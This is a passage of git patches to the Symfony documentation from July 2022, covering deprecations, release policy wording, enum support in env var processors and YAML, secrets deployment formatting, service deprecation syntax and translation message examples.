 1 file changed, 8 deletions(-)

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index b2314fe8bd2..3e69935e944 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -86,10 +86,6 @@ the underlying object that will be used to populate the form field.
 
 More details are available in the section on :doc:`/form/data_mappers`.
 
-.. versionadded:: 5.2
-
-    Form mapping callbacks were added in Symfony 5.2.
-
 .. include:: /reference/forms/types/options/help.rst.inc
 
 .. include:: /reference/forms/types/options/help_attr.rst.inc
@@ -136,10 +132,6 @@ back to the underlying object.
 
 More details are available in the section on :doc:`/form/data_mappers`.
 
-.. versionadded:: 5.2
-
-    Form mapping callbacks were added in Symfony 5.2.
-
 .. include:: /reference/forms/types/options/trim.rst.inc
 
 .. include:: /reference/forms/types/options/validation_groups.rst.inc

From 6857913a5365e5ce7b18aef244d565fb4a40c2c0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Jul 2022 17:49:18 +0200
Subject: [PATCH 2010/5766] [Mailer] Deprecate the "loose" validation option

---
 reference/configuration/framework.rst | 5 +++++
 reference/constraints/Email.rst       | 5 +++++
 2 files changed, 10 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 7dabd6887c9..73b35de2336 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2508,6 +2508,11 @@ email_validation_mode
 
 **type**: ``string`` **default**: ``loose``
 
+.. deprecated:: 6.2
+
+    The ``loose`` default value is deprecated since Symfony 6.2. Starting from
+    Symfony 7.0, the default value of this option will be ``html5``.
+
 Sets the default value for the
 :ref:`"mode" option of the Email validator <reference-constraint-email-mode>`.
 
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 0d13c42ac64..8db1ec35884 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -135,6 +135,11 @@ The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
 configuration option.
 
+.. deprecated:: 6.2
+
+    The ``loose`` value is deprecated since Symfony 6.2. Starting from
+    Symfony 7.0, the default value of this option will be ``html5``.
+
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc

From 4ae363a34ca78a1a827e5ce247e3b2146aa8b452 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre@users.noreply.github.com>
Date: Thu, 30 Jun 2022 14:24:28 +0200
Subject: [PATCH 2011/5766] Releases: add details to minor and major versions

---
 contributing/community/releases.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 9a2e652ac48..916a44f3894 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -10,9 +10,11 @@ published through a *time-based model*:
 * A new **Symfony patch version** (e.g. 4.4.12, 5.1.9) comes out roughly every
   month. It only contains bug fixes, so you can safely upgrade your applications;
 * A new **Symfony minor version** (e.g. 4.4, 5.0, 5.1) comes out every *six months*:
-  one in *May* and one in *November*. It contains bug fixes and new features, but
-  it doesn't include any breaking change, so you can safely upgrade your applications;
-* A new **Symfony major version** (e.g. 4.0, 5.0) comes out every *two years*.
+  one in *May* and one in *November*. It contains bug fixes and new features,
+  can contain new deprecations but it doesn't include any breaking change,
+  so you can safely upgrade your applications;
+* A new **Symfony major version** (e.g. 4.0, 5.0) comes out every *two years*
+  in November of odd years (e.g. 2019, 2021).
   It can contain breaking changes, so you may need to do some changes in your
   applications before upgrading.
 

From 2b5571307bd8f2803dfec47d421ca216d0acd3a3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Jul 2022 16:30:57 +0200
Subject: [PATCH 2012/5766] Minor tweak

---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 0a44db2858f..fac78dd82dd 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -338,7 +338,7 @@ The following options are supported by the ``SymfonyRuntime``:
 ``dotenv_path`` (default: ``.env``)
     To define the path of dot-env files.
 ``dotenv_overload`` (default: ``false``)
-    To tell Dotenv whether to override ``.env`` vars with ``.env.local`` (or other ``.env.*``)
+    To tell Dotenv whether to override ``.env`` vars with ``.env.local`` (or other ``.env.*`` files)
 ``use_putenv``
     To tell Dotenv to set env vars using ``putenv()`` (NOT RECOMMENDED).
 ``prod_envs`` (default: ``["prod"]``)

From 6570ade2bf4c9092b091df6b09ff2e3fc79c01eb Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 7 Jul 2022 09:00:21 +0200
Subject: [PATCH 2013/5766] Fix ordered lists in secrets management and Form
 component documentation

---
 components/form.rst       | 11 ++++++-----
 configuration/secrets.rst | 34 +++++++++++++++++-----------------
 2 files changed, 23 insertions(+), 22 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index dfbcfdfdcb4..bd9df171d5d 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -648,14 +648,15 @@ method:
 
 This defines a common form "workflow", which contains 3 different possibilities:
 
-1) On the initial GET request (i.e. when the user "surfs" to your page),
+#. On the initial GET request (i.e. when the user "surfs" to your page),
    build your form and render it;
 
-If the request is a POST, process the submitted data (via :method:`Symfony\\Component\\Form\\Form::handleRequest`).
-Then:
+   If the request is a POST, process the submitted data (via :method:`Symfony\\Component\\Form\\Form::handleRequest`).
 
-2) if the form is invalid, re-render the form (which will now contain errors);
-3) if the form is valid, perform some action and redirect.
+   Then:
+
+#. if the form is invalid, re-render the form (which will now contain errors);
+#. if the form is valid, perform some action and redirect.
 
 Luckily, you don't need to decide whether or not a form has been submitted.
 Just pass the current request to the :method:`Symfony\\Component\\Form\\Form::handleRequest`
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index ba0c05bb278..845a2106af7 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -240,32 +240,32 @@ Deploy Secrets to Production
 Due to the fact that decryption keys should never be committed, you will need to
 manually store this file somewhere and deploy it. There are 2 ways to do that:
 
-1) Uploading the file:
+#. Uploading the file
 
-The first option is to copy the **production decryption key** -
-``config/secrets/prod/prod.decrypt.private.php`` to your server.
+   The first option is to copy the **production decryption key** -
+   ``config/secrets/prod/prod.decrypt.private.php`` to your server.
 
-2) Using an Environment Variable
+#. Using an Environment Variable
 
-The second way is to set the ``SYMFONY_DECRYPTION_SECRET`` environment variable
-to the base64 encoded value of the **production decryption key**. A fancy way to
-fetch the value of the key is:
+   The second way is to set the ``SYMFONY_DECRYPTION_SECRET`` environment variable
+   to the base64 encoded value of the **production decryption key**. A fancy way to
+   fetch the value of the key is:
 
-.. code-block:: terminal
+   .. code-block:: terminal
 
-    # this command only gets the value of the key; you must also set an env var
-    # in your system with this value (e.g. `export SYMFONY_DECRYPTION_SECRET=...`)
-    $ php -r 'echo base64_encode(require "config/secrets/prod/prod.decrypt.private.php");'
+       # this command only gets the value of the key; you must also set an env var
+       # in your system with this value (e.g. `export SYMFONY_DECRYPTION_SECRET=...`)
+       $ php -r 'echo base64_encode(require "config/secrets/prod/prod.decrypt.private.php");'
 
-To improve performance (i.e. avoid decrypting secrets at runtime), you can decrypt
-your secrets during deployment to the "local" vault:
+   To improve performance (i.e. avoid decrypting secrets at runtime), you can decrypt
+   your secrets during deployment to the "local" vault:
 
-.. code-block:: terminal
+   .. code-block:: terminal
 
-    $ php bin/console secrets:decrypt-to-local --force --env=prod
+       $ php bin/console secrets:decrypt-to-local --force --env=prod
 
-This will write all the decrypted secrets into the ``.env.prod.local`` file.
-After doing this, the decryption key does *not* need to remain on the server(s).
+   This will write all the decrypted secrets into the ``.env.prod.local`` file.
+   After doing this, the decryption key does *not* need to remain on the server(s).
 
 Rotating Secrets
 ----------------

From 05a80d28c875313296a756c28d80c94bab768f3c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 7 Jul 2022 09:19:55 +0200
Subject: [PATCH 2014/5766] Add `enum` env var processor documentation

---
 configuration/env_var_processors.rst | 43 ++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 84bccba97d5..3c33a98f410 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -698,6 +698,49 @@ Symfony provides the following env var processors:
                 ],
             ]);
 
+``env(enum:FooEnum:BAR)``
+    Tries to convert an environment variable to an actual ``\BackedEnum`` value. This processor takes the fully qualified
+    name of the ``\BackedEnum`` as an argument.
+
+    .. code-block:: php
+
+        # App\Enum\Environment
+        enum Environment: string
+        {
+            case Development = 'dev';
+            case Production = 'prod';
+        }
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            parameters:
+                typed_env: '%env(enum:App\Enum\Environment:APP_ENV)%'
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="typed_env">%env(enum:App\Enum\Environment:APP_ENV)%</parameter>
+                </parameters>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            $container->setParameter('typed_env', '%env(enum:App\Enum\Environment:APP_ENV)%');
+
 It is also possible to combine any number of processors:
 
 .. configuration-block::

From a3eda500b520b3b84577197d9ccc00d81091e92c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 7 Jul 2022 14:42:33 +0200
Subject: [PATCH 2015/5766] [Yaml] Add support for !php/enum *->value syntax

---
 components/yaml.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index d5675a417e9..6ef7880bfae 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -338,6 +338,30 @@ syntax to parse them as proper PHP constants::
     $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
     // $parameters = ['foo' => 'PHP_INT_SIZE', 'bar' => 8];
 
+Parsing Unit and Backed Enumerations
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Unit and backed enumerations can be parsed by the YAML parser thanks to the
+special ``!php/enum`` syntax and the ``PARSE_CONSTANT`` flag. Depending if
+you need the concrete enumeration case or the actual value of the case when
+dealing with backed enumerations, both syntax are available::
+
+    enum FooEnum: string
+    {
+        case Foo = 'foo';
+        case Bar = 'bar';
+    }
+
+    // ...
+
+    $yaml = '{ foo: FooEnum::Foo, bar: !php/enum FooEnum::Foo }';
+    $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
+    // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => FooEnum::Foo];
+
+    $yaml = '{ foo: FooEnum::Foo, bar: !php/enum FooEnum::Foo->value }';
+    $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
+    // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => 'foo'];
+
 Parsing and Dumping of Binary Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From d24f2ece1eff19728d7119252dfd62857487e7a7 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 8 Jul 2022 11:49:38 +0200
Subject: [PATCH 2016/5766] Update releases.rst

---
 contributing/community/releases.rst | 27 +++++++++++++++++----------
 1 file changed, 17 insertions(+), 10 deletions(-)

diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 0ecaa641f9b..1bb4a4cb5a3 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -7,9 +7,9 @@ release and maintain its different versions.
 Symfony releases follow the `semantic versioning`_ strategy and they are
 published through a *time-based model*:
 
-* A new **Symfony patch version** (e.g. 4.4.12, 5.1.9) comes out roughly every
+* A new **Symfony patch version** (e.g. 4.4.43, 5.4.10, 6.1.2) comes out roughly every
   month. It only contains bug fixes, so you can safely upgrade your applications;
-* A new **Symfony minor version** (e.g. 4.4, 5.0, 5.1) comes out every *six months*:
+* A new **Symfony minor version** (e.g. 4.4, 5.4, 6.1) comes out every *six months*:
   one in *May* and one in *November*. It contains bug fixes and new features,
   can contain new deprecations but it doesn't include any breaking change,
   so you can safely upgrade your applications;
@@ -19,7 +19,7 @@ published through a *time-based model*:
 
 .. tip::
 
-    `Subscribe to Symfony Roadmap notifications`_ to receive an email when a new
+    `Subscribe to Symfony Release notifications`_ to receive an email when a new
     Symfony version is published or when a Symfony version reaches its end of life.
 
 .. _contributing-release-development:
@@ -27,6 +27,13 @@ published through a *time-based model*:
 Development
 -----------
 
+.. note::
+
+    The Symfony project is an open-source community driven development framework.
+    There is no roadmap written or defined in advance. Every feature request
+    may or may not be developed in future version based on the community.
+    Symfony core team members can help move things forward if the intereset is here.
+
 The full development period for any major or minor version lasts six months and
 is divided into two phases:
 
@@ -43,7 +50,7 @@ final release.
 
 .. tip::
 
-    Check out the `Symfony Roadmap`_ to learn more about any specific version.
+    Check out the `Symfony Release`_ to learn more about any specific version.
 
 .. _contributing-release-maintenance:
 .. _symfony-versions:
@@ -93,12 +100,12 @@ two versions: the new major one (e.g. 5.0) and the latest version of the
 previous branch (e.g. 4.4).
 
 Both versions have the same new features, but they differ in the deprecated
-features. The oldest version (4.4 in this example) contains all the deprecated
-features whereas the new version (5.0 in this example) removes all of them.
+features. The oldest version (5.4 in this example) contains all the deprecated
+features whereas the new version (6.0 in this example) removes all of them.
 
-This allows you to upgrade your projects to the latest minor version (e.g. 4.4),
+This allows you to upgrade your projects to the latest minor version (e.g. 5.4),
 see all the deprecation messages and fix them. Once you have fixed all those
-deprecations, you can upgrade to the new major version (e.g. 5.0) without
+deprecations, you can upgrade to the new major version (e.g. 6.0) without
 effort, because it contains the same features (the only difference are the
 deprecated features, which your project no longer uses).
 
@@ -155,6 +162,6 @@ period to upgrade. Companies wanting more stability use the LTS versions: a new
 version is published every two years and there is a year to upgrade.
 
 .. _`semantic versioning`: https://semver.org/
-.. _`Subscribe to Symfony Roadmap notifications`: https://symfony.com/account/notifications
-.. _`Symfony Roadmap`: https://symfony.com/releases
+.. _`Subscribe to Symfony Release notifications`: https://symfony.com/account/notifications
+.. _`Symfony Release`: https://symfony.com/releases
 .. _`professional Symfony support`: https://sensiolabs.com/

From 02ed5a7bdd8c027fa14f588cb87c3eedb94e07bf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jul 2022 12:54:37 +0200
Subject: [PATCH 2017/5766] Minor tweaks

---
 contributing/community/releases.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 1bb4a4cb5a3..774eca7a24d 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -29,10 +29,10 @@ Development
 
 .. note::
 
-    The Symfony project is an open-source community driven development framework.
+    The Symfony project is an open-source community-driven development framework.
     There is no roadmap written or defined in advance. Every feature request
-    may or may not be developed in future version based on the community.
-    Symfony core team members can help move things forward if the intereset is here.
+    may or may not be developed in future versions based on the community.
+    Symfony Core Team members can help move things forward if there's enough interest.
 
 The full development period for any major or minor version lasts six months and
 is divided into two phases:

From 67e021a819df832f67db3c4d3045a3ce816ee314 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jul 2022 15:27:46 +0200
Subject: [PATCH 2018/5766] Minor reword

---
 components/yaml.rst | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index 6ef7880bfae..2c463d1c731 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -338,13 +338,12 @@ syntax to parse them as proper PHP constants::
     $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
     // $parameters = ['foo' => 'PHP_INT_SIZE', 'bar' => 8];
 
-Parsing Unit and Backed Enumerations
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Parsing PHP Enumerations
+~~~~~~~~~~~~~~~~~~~~~~~~
 
-Unit and backed enumerations can be parsed by the YAML parser thanks to the
-special ``!php/enum`` syntax and the ``PARSE_CONSTANT`` flag. Depending if
-you need the concrete enumeration case or the actual value of the case when
-dealing with backed enumerations, both syntax are available::
+The YAML parser supports `PHP enumerations`_, both unit and backed enums.
+By default, they are parsed as regular strings. Use the ``PARSE_CONSTANT`` flag
+and the special ``!php/enum`` syntax to parse them as proper PHP enums::
 
     enum FooEnum: string
     {
@@ -356,12 +355,18 @@ dealing with backed enumerations, both syntax are available::
 
     $yaml = '{ foo: FooEnum::Foo, bar: !php/enum FooEnum::Foo }';
     $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
+    // the value of the 'foo' key is a string because it missed the `!php/enum` syntax
     // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => FooEnum::Foo];
 
     $yaml = '{ foo: FooEnum::Foo, bar: !php/enum FooEnum::Foo->value }';
     $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
+    // the value of the 'foo' key is a string because it missed the `!php/enum` syntax
     // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => 'foo'];
 
+.. versionadded:: 6.2
+
+    The support for PHP enumerations was introduced in Symfony 6.2.
+
 Parsing and Dumping of Binary Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -484,3 +489,4 @@ Learn More
 .. _`YAML`: https://yaml.org/
 .. _`YAML 1.2 version specification`: https://yaml.org/spec/1.2/spec.html
 .. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html
+.. _`PHP enumerations`: https://www.php.net/manual/en/language.types.enumerations.php

From 67b08ad30bce20e2a023c80e9feebf0a0c3bfabf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 8 Jul 2022 15:48:35 +0200
Subject: [PATCH 2019/5766] [BrowserKit] Add response fetch to BrowserKit
 documentation

---
 components/browser_kit.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 76c0e33d5e1..e89f98f97e2 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -321,6 +321,19 @@ dedicated web crawler or scraper such as `Goutte`_::
 
     The feature to make external HTTP requests was introduced in Symfony 4.3.
 
+Dealing with HTTP responses
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When using the BrowserKit component, you may need to deal with responses of
+the requests you made. To do so, you need to call the ``getResponse()``
+method of the ``HttpBrowser`` object. This method retrieves the last response
+the browser received::
+
+    $browser = new HttpBrowser(HttpClient::create());
+
+    $browser->request('GET', 'https://foo.com');
+    $response = $browser->getResponse();
+
 Learn more
 ----------
 

From ffdb7e6e8688d7bcb09ec88baa9ab5b3895d91dc Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 8 Jul 2022 08:17:41 +0200
Subject: [PATCH 2020/5766] Fix documentation on declaration of service
 deprecation in YAML format

---
 service_container/alias_private.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index f216855d292..cf811195473 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -349,7 +349,10 @@ or you decided not to maintain it anymore), you can deprecate its definition:
 
         # config/services.yaml
         App\Service\OldService:
-            deprecated: The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.
+            deprecated:
+                package: 'vendor-name/package-name'
+                version: '2.8'
+                message: The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.
 
     .. code-block:: xml
 

From 976422a65ec1b25ab9ed2958a242a7fb3cc94e01 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jul 2022 16:01:54 +0200
Subject: [PATCH 2021/5766] Complete XML and PHP configs and added a
 versionadded directive

---
 service_container/alias_private.rst | 14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index cf811195473..da8eaf86328 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -364,7 +364,7 @@ or you decided not to maintain it anymore), you can deprecate its definition:
 
             <services>
                 <service id="App\Service\OldService">
-                    <deprecated>The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.</deprecated>
+                    <deprecated package="vendor-name/package-name" version="2.8">The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.</deprecated>
                 </service>
             </services>
         </container>
@@ -380,9 +380,19 @@ or you decided not to maintain it anymore), you can deprecate its definition:
             $services = $configurator->services();
 
             $services->set(OldService::class)
-                ->deprecate('The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.');
+                ->deprecate(
+                    'vendor-name/package-name',
+                    '2.8',
+                    'The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.'
+                );
         };
 
+.. versionadded:: 5.1
+
+    Starting from Symfony 5.1, the ``deprecated`` YAML option, the ``<deprecated>``
+    XML tag and the ``deprecate()`` PHP function require three arguments (the
+    package name, the version and the deprecation message).
+
 Now, every time this service is used, a deprecation warning is triggered,
 advising you to stop or to change your uses of that service.
 

From d2404a251fb64b6de194e09cc191307326e074db Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jul 2022 16:03:32 +0200
Subject: [PATCH 2022/5766] Remove a versionadded directive

---
 service_container/alias_private.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index a19de458978..9f6c341cbf9 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -380,12 +380,6 @@ or you decided not to maintain it anymore), you can deprecate its definition:
                 );
         };
 
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, the ``deprecated`` YAML option, the ``<deprecated>``
-    XML tag and the ``deprecate()`` PHP function require three arguments (the
-    package name, the version and the deprecation message).
-
 Now, every time this service is used, a deprecation warning is triggered,
 advising you to stop or to change your uses of that service.
 

From 3a3c990c05d1d9094c41abfc6bdbc76e1b0e624d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jul 2022 16:47:12 +0200
Subject: [PATCH 2023/5766] Add the versionadded directive

---
 configuration/env_var_processors.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 3c33a98f410..35a247dd6fa 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -699,8 +699,8 @@ Symfony provides the following env var processors:
             ]);
 
 ``env(enum:FooEnum:BAR)``
-    Tries to convert an environment variable to an actual ``\BackedEnum`` value. This processor takes the fully qualified
-    name of the ``\BackedEnum`` as an argument.
+    Tries to convert an environment variable to an actual ``\BackedEnum`` value.
+    This processor takes the fully qualified name of the ``\BackedEnum`` as an argument.
 
     .. code-block:: php
 
@@ -741,6 +741,10 @@ Symfony provides the following env var processors:
             // config/services.php
             $container->setParameter('typed_env', '%env(enum:App\Enum\Environment:APP_ENV)%');
 
+.. versionadded:: 6.2
+
+    The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
+
 It is also possible to combine any number of processors:
 
 .. configuration-block::

From c734f28537fc9fedb0cf638325c8a03656652fe3 Mon Sep 17 00:00:00 2001
From: CJDennis <CJDennis@users.noreply.github.com>
Date: Thu, 7 Jul 2022 11:43:24 +1000
Subject: [PATCH 2024/5766] Improve the grammar in the example messages

Separate the case of multiple people from an organisation or a non-binary person treated as singular
---
 translation/message_format.rst | 26 ++++++++++++++++++--------
 1 file changed, 18 insertions(+), 8 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index 88608466eda..5da4a95fd16 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -102,7 +102,8 @@ typical usage of this is gender:
             {organizer_gender, select,
                 female {{organizer_name} has invited you to her party!}
                 male   {{organizer_name} has invited you to his party!}
-                other  {{organizer_name} have invited you to their party!}
+                multi  {{organizer_name} have invited you to their party!}
+                other  {{organizer_name} has invited you to their party!}
             }
 
     .. code-block:: xml
@@ -118,7 +119,8 @@ typical usage of this is gender:
                         <target>{organizer_gender, select,
                             female {{organizer_name} has invited you to her party!}
                             male {{organizer_name} has invited you to his party!}
-                            other {{organizer_name} have invited you to their party!}
+                            multi  {{organizer_name} have invited you to their party!}
+                            other {{organizer_name} has invited you to their party!}
                         }</target>
                     </trans-unit>
                 </body>
@@ -133,7 +135,8 @@ typical usage of this is gender:
             'invitation_title' => '{organizer_gender, select,
                 female {{organizer_name} has invited you to her party!}
                 male   {{organizer_name} has invited you to his party!}
-                other  {{organizer_name} have invited you to their party!}
+                multi  {{organizer_name} have invited you to their party!}
+                other  {{organizer_name} has invited you to their party!}
             }',
         ];
 
@@ -152,6 +155,12 @@ select. This function is applied over the ``organizer_gender`` variable::
     // prints "John & Jane have invited you to their party!"
     echo $translator->trans('invitation_title', [
         'organizer_name' => 'John & Jane',
+        'organizer_gender' => 'multi',
+    ]);
+
+    // prints "McDonalds has invited you to their party!"
+    echo $translator->trans('invitation_title', [
+        'organizer_name' => 'McDonalds',
         'organizer_gender' => 'not_applicable',
     ]);
 
@@ -170,7 +179,7 @@ you to use literal text in the select statements:
     While it might seem more logical to only put ``her``, ``his`` or ``their``
     in the switch statement, it is better to use "complex arguments" at the
     outermost structure of the message. The strings are in this way better
-    readable for translators and, as you can see in the ``other`` case, other
+    readable for translators and, as you can see in the ``multi`` case, other
     parts of the sentence might be influenced by the variables.
 
 .. tip::
@@ -179,12 +188,13 @@ you to use literal text in the select statements:
     without having to define them in any file::
 
         $invitation = '{organizer_gender, select,
-            female {{organizer_name} has invited you for her party!}
-            male   {{organizer_name} has invited you for his party!}
-            other  {{organizer_name} have invited you for their party!}
+            female {{organizer_name} has invited you to her party!}
+            male   {{organizer_name} has invited you to his party!}
+            multi  {{organizer_name} have invited you to their party!}
+            other  {{organizer_name} has invited you to their party!}
         }';
 
-        // prints "Ryan has invited you for his party!"
+        // prints "Ryan has invited you to his party!"
         echo $translator->trans($invitation, [
             'organizer_name' => 'Ryan',
             'organizer_gender' => 'male',

From f14edf4bfe15642478e3abf6435eea83b77bc985 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jul 2022 17:23:00 +0200
Subject: [PATCH 2025/5766] Minor tweaks

---
 translation/message_format.rst | 40 +++++++++++++++++-----------------
 1 file changed, 20 insertions(+), 20 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index 5da4a95fd16..a718c75ca38 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -100,10 +100,10 @@ typical usage of this is gender:
         # the 'other' key is required, and is selected if no other case matches
         invitation_title: >-
             {organizer_gender, select,
-                female {{organizer_name} has invited you to her party!}
-                male   {{organizer_name} has invited you to his party!}
-                multi  {{organizer_name} have invited you to their party!}
-                other  {{organizer_name} has invited you to their party!}
+                female   {{organizer_name} has invited you to her party!}
+                male     {{organizer_name} has invited you to his party!}
+                multiple {{organizer_name} have invited you to their party!}
+                other    {{organizer_name} has invited you to their party!}
             }
 
     .. code-block:: xml
@@ -117,10 +117,10 @@ typical usage of this is gender:
                         <source>invitation_title</source>
                         <!-- the 'other' key is required, and is selected if no other case matches -->
                         <target>{organizer_gender, select,
-                            female {{organizer_name} has invited you to her party!}
-                            male {{organizer_name} has invited you to his party!}
-                            multi  {{organizer_name} have invited you to their party!}
-                            other {{organizer_name} has invited you to their party!}
+                            female   {{organizer_name} has invited you to her party!}
+                            male     {{organizer_name} has invited you to his party!}
+                            multiple {{organizer_name} have invited you to their party!}
+                            other    {{organizer_name} has invited you to their party!}
                         }</target>
                     </trans-unit>
                 </body>
@@ -133,10 +133,10 @@ typical usage of this is gender:
         return [
             // the 'other' key is required, and is selected if no other case matches
             'invitation_title' => '{organizer_gender, select,
-                female {{organizer_name} has invited you to her party!}
-                male   {{organizer_name} has invited you to his party!}
-                multi  {{organizer_name} have invited you to their party!}
-                other  {{organizer_name} has invited you to their party!}
+                female   {{organizer_name} has invited you to her party!}
+                male     {{organizer_name} has invited you to his party!}
+                multiple {{organizer_name} have invited you to their party!}
+                other    {{organizer_name} has invited you to their party!}
             }',
         ];
 
@@ -155,12 +155,12 @@ select. This function is applied over the ``organizer_gender`` variable::
     // prints "John & Jane have invited you to their party!"
     echo $translator->trans('invitation_title', [
         'organizer_name' => 'John & Jane',
-        'organizer_gender' => 'multi',
+        'organizer_gender' => 'multiple',
     ]);
 
-    // prints "McDonalds has invited you to their party!"
+    // prints "ACME Company has invited you to their party!"
     echo $translator->trans('invitation_title', [
-        'organizer_name' => 'McDonalds',
+        'organizer_name' => 'ACME Company',
